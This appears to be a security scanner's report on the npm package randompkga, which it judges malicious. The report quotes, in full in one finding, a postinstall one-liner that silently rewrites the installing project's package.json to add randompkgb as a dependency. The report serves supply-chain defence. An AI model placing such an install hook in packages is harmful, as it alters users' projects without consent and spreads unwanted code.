It injects a new dependency without user consent. - **Trigger:** npm installation of randompkga - **Impact:** Silently changes the consuming project's dependency graph and causes future installation of randompkgb. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-19T20:20:00.856Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-hook dependency injection via INIT\_CWD manifest rewrite - **Attack narrative:** On installation, the postinstall command resolves INIT\_CWD/package.json, parses it, adds randompkgb@^1.0.0 under dependencies, and writes it back. This silently alters the consumer project rather than providing a package-aligned install task, enabling an unconsented downstream dependency install. - **Rationale:** Direct source inspection confirms an install-time mutation of the consuming project's manifest to add an unrelated dependency. This is concrete malicious supply-chain behavior. - **Files touched:** package.json, INIT\_CWD/package.json ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json postinstall executes during installation and rewrites the installing project's manifest., The hook silently adds randompkgb@^1.0.0 as a dependency, creating an unconsented supply-chain change., The declared main entrypoint is absent; the package's only present behavior is the install hook. - **Evidence against:** No network endpoint, credential collection, or shell command beyond the inline Node filesystem mutation was found. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "const fs=require('fs'),p=process.env.INIT_CWD+'/package.json',j=JSON.parse(fs.readFileSync(p));j.dependencies??={};j.dependencies.randompkgb='^1.0.0';fs.writeFileSync(p,JS... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "const fs=require('fs'),p=process.env.INIT_CWD+'/package.json',j=JSON.parse(fs.readFileSync(p));j.dependencies??={};j.dependencies.randompkgb='^1.0.0';fs.writeFileSync(p,JS... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() package.json postinstall executes during installation and rewrites the installing project's manifest. Public source snippet (untrusted): ```json "postinstall": "node -e \"const fs=require('fs'),p=process.env.INIT_CWD+'/package.json',j=JSON.parse(fs.readFileSync(p));j.dependencies??={};j.dependencies.randompkgb='^1.0.0';fs.writeFileSync(p,JSON.stringify(j,null,2)+'\\n')\"" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** randompkga - **Ecosystem:** npm - **Version:** 1.0.14 - **License:** ISC - **Version published:** 2026-08-19T11:11:02.739Z - **Package first seen:** 2026-08-19T09:48:32.819Z - **Package last seen:** 2026-08-19T20:50:49.577Z - **Known versions:** 17 - **Latest version:** 1.0.22 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 423 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
